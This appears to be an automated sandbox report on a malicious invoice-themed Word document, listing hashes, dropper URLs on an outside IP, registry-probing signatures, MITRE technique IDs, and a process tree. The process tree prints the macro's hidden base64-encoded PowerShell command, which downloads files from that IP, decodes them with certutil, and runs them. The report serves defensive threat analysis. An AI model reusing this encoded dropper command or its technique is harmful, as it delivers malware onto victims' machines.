eef4b50a6a9a4371bc70b9b79d033053f0419c8c216118a6b5046117e4d6e272

General

Target

msoffice_invoice1764727.doc
Size

97KB
MD5

5d38f68c18e3d9557523b25ad3fe4a86
SHA1

a2c736b4bb06131dbb828c79711a1c7ec729d501
SHA256

eef4b50a6a9a4371bc70b9b79d033053f0419c8c216118a6b5046117e4d6e272
SHA512

4a6dcba8e2563f09dda60ac52dcda7f93e699f254a745d04ebbec57564e37371470e9d41473c2e33ad11256dea9f7a811810aeab1263a203048058c83a3f73f9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.189.12.182/RLCOrLHeK.com

exe.dropper

http://185.189.12.182/FfvEZtUVUkHjw.com

exe.dropper

http://185.189.12.182/GUavFcvTh.com

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2956	1840	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3676 WINWORD.EXE
3676 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2956 powershell.exe
2956 powershell.exe
2956 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2956 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE
3676 WINWORD.EXE

pid	process
3676	WINWORD.EXE
3676	WINWORD.EXE

pid	process
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2956	powershell.exe

pid	process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 2956 wrote to memory of 1784	2956	powershell.exe	certutil.exe
PID 2956 wrote to memory of 1784	2956	powershell.exe	certutil.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\msoffice_invoice1764727.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -e SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA4ADkALgAxADIALgAxADgAMgAvAFIATABDAE8AcgBMAEgAZQBLAC4AYwBvAG0ALABoAHQAdABwADoALwAvADEAOAA1AC4AMQA4ADkALgAxADIALgAxADgAMgAvAEYAZgB2AEUAWgB0AFUAVgBVAGsASABqAHcALgBjAG8AbQAsAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAxADgAOQAuADEAMgAuADEAOAAyAC8ARwBVAGEAdgBGAGMAdgBUAGgALgBjAG8AbQAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHYAdABnAGkAdwAuAGMAbwBtACIALAAiACQAZQBuAHYAOgBUAEUATQBQAFwAdgAxAG0AZABrACIALAAiACQAZQBuAHYAOgBUAEUATQBQAFwARwBVAGEAdgBGAGMAdgBUAGgALgBjAG8AbQAiADsAIABTAGUAdAAtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHYAMQBtAGQAawAgADUAMQAzAGsAaQA7ACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAdgB0AGcAaQB3ACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgADUAMQAzAGsAaQA=
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\system32\certutil.exe
  "C:\Windows\system32\certutil.exe" -decode v1mdk 513ki
  2⤵
  PID:1784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1784-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads